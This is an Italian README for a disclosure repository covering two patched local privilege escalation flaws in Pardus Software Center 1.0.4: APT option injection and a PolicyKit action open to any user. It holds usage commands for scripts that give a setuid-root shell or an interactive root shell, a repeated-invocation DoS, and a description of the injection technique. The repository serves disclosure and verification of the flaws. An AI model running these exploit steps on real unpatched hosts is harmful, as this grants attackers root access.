
PoC di escalatione locale dei privilegi di Pardus Software - affetto da <= 1.0.4
Codice proof-of-concept e pronto per l'exploit per due problematiche di escalation locale dei privilegi nel pacchetto pardus-software (Pardus Software Center) versione 1.0.4, entrambe corrette in 1.0.5.
| CVE | Classe | Riepilogo | CVSS 3.1 (CERT-TR) |
|---|---|---|---|
| CVE-2026-14459 | CWE-88 — Iniezione di argomenti | Un membro del gruppo pardus-software (senza sudo, senza password) inietta opzioni APT (-o Dir::Bin::dpkg=…) nell'helper privilegiato ed esegue codice arbitrario come root. | 8.8 ALTA |
| CVE-2026-14460 | CWE-862 — Autorizzazione mancante | L'azione PolicyKit autoaptupdateaction include allow_any=yes, consentendo a qualunque utente locale di eseguire l'helper di aggiornamento come root, senza autenticazione (DoS locale). | 8.8 ALTA |
Versioni affette: pardus-software 1.0.4 · Corretta in: pardus-software 1.0.5
Vendor: Pardus / TÜBİTAK BİLGEM · Divulgazione coordinata tramite il vendor e USOM (CERT-TR).
Questo codice è pubblicato per ricerca difensiva, formazione e verifica di una vulnerabilità corretta e pubblicamente divulgata. Entrambi i problemi sono corretti in pardus-software 1.0.5.
Eseguitelo solo su macchine virtuali isolate e usa-e-getta che possedete o per le quali siete esplicitamente autorizzati al test. Non eseguitelo su sistemi che non controllate. Siete responsabili del rispetto di tutte le leggi applicabili. L'autore non si assume alcuna responsabilità per un uso improprio.
pardus-software-lpe/
├── README.md
├── poc/
│ └── poc.sh # original benign PoC (proof-only; both CVEs)
└── exploit/
├── exploit-14459.sh # CVE-2026-14459 → interactive root shell
└── exploit-14460.sh # CVE-2026-14460 → unauth root apt-update (DoS)
Un singolo poc.sh copre entrambe le scoperte tramite sottocomandi:
La versione in poc/ è benigna: registra solo l'output di id in /tmp/pardus_lpe_proof e rilascia una /tmp/rootbash con setuid-root come prova. Le versioni in exploit/ sono gli equivalenti "armati", "dammi una root shell", per la dimostrazione su target autorizzati.
poc.sh SHA256: 1d3f4c19affdb377ac5eee4c695619e9f6a4590350c3936678eb1db2cf601255
Il PoC benigno include un helper per creare un account victim senza privilegi nel gruppo pardus-software (senza sudo), su una VM Pardus 25 usa-e-getta:
sudo ./poc/poc.sh setup-victim
sudo cp poc/poc.sh /home/victim/ && sudo chown victim /home/victim/poc.sh
# CVE-2026-14459 — option injection (primary)
sudo su - victim -c 'cd ~ && ./poc.sh B'
# if 'hello' is already installed/unavailable: ./poc.sh B sl
# CVE-2026-14459 — local unsigned .deb (secondary)
sudo su - victim -c 'cd ~ && ./poc.sh A'
# CVE-2026-14460 — unauthenticated root apt update (any user, no special group)
sudo useradd -m -s /bin/bash nobody2
sudo cp poc/poc.sh /home/nobody2/ && sudo chown nobody2 /home/nobody2/poc.sh
sudo su - nobody2 -c 'cd ~ && ./poc.sh autoupdate'
Risultato atteso: nessuna richiesta di password; l'output mostra uid=0(root), /tmp/pardus_lpe_proof di proprietà di root e /tmp/rootbash come -rwsr-xr-x root root (setuid root). Per B, APT stampa anche il suo tipico avviso che indica che lo script iniettato è stato eseguito al posto di dpkg:
Warning: APT had planned for dpkg to do more than it reported back (0 vs 5).
Affected packages: hello:amd64
Eseguite questi script come utente target senza privilegi (per il 14459, membro di pardus-software).
# CVE-2026-14459 → interactive root shell
./exploit/exploit-14459.sh
# run a single command as root instead of a shell:
./exploit/exploit-14459.sh -c "id > /root/pwned"
# if 'hello' is installed/unavailable, pick an uninstalled package:
PKG=sl ./exploit/exploit-14459.sh
# CVE-2026-14460 → unauthenticated root apt-update (local DoS)
./exploit/exploit-14460.sh
# demonstrate the DoS surface with repeated invocations:
./exploit/exploit-14460.sh -n 20
Su un host con la patch applicata (>= 1.0.5) entrambi gli script terminano con un errore pulito e lo segnalano.
CVE-2026-14459. Il metodo install() di Actions.py divide il proprio argomento packages in base agli spazi e aggiunge i token direttamente al vettore degli argomenti di apt — nessuna validazione del nome, nessun terminatore di opzioni --. Qualunque token che assomigli a un'opzione APT viene onorato, incluse -o Dir::Bin::dpkg=<path>, che sostituisce il backend del gestore di pacchetti con uno script dell'attaccante che viene poi eseguito come root. Lo stesso schema era presente in remove/upgrade/reinstall/downgrade.
CVE-2026-14460. L'azione PolicyKit autoaptupdateaction era dichiarata con allow_any=yes, autorizzando qualsiasi soggetto senza autenticazione. Qualsiasi utente locale poteva invocare AutoAptUpdate.py come root — una superficie di DoS locale.
Analisi tecniche complete (EN + TR): (https://medium.com/@dasokkk/missing-authorization-in-pardus-software-center-any-local-user-can-run-apt-update-as-root-de4756d4c1a1)
Corretto in pardus-software 1.0.5:
a6ff277 — validazione dei nomi dei pacchetti (regex parse_packages() + separatore --) per le azioni apt (CVE-2026-14459).70210af — allow_any: yes → auth_admin per autoaptupdateaction (CVE-2026-14460).Se utilizzate Pardus, aggiornate a pardus-software 1.0.5 o successivo.
a6ff277 · 70210afRicerca e divulgazione coordinata di Kerem Kaan Daşmaz.
| Sottocomando | Dimostra | Note |
|---|
poc.sh B | CVE-2026-14459 | Iniezione di opzioni APT (-o Dir::Bin::dpkg) — la scoperta principale |
poc.sh A | CVE-2026-14459 | .deb locale non firmato tramite lo stesso percorso fidato (dimostrazione secondaria) |
poc.sh autoupdate | CVE-2026-14460 | Aggiornamento apt update non autenticato come root |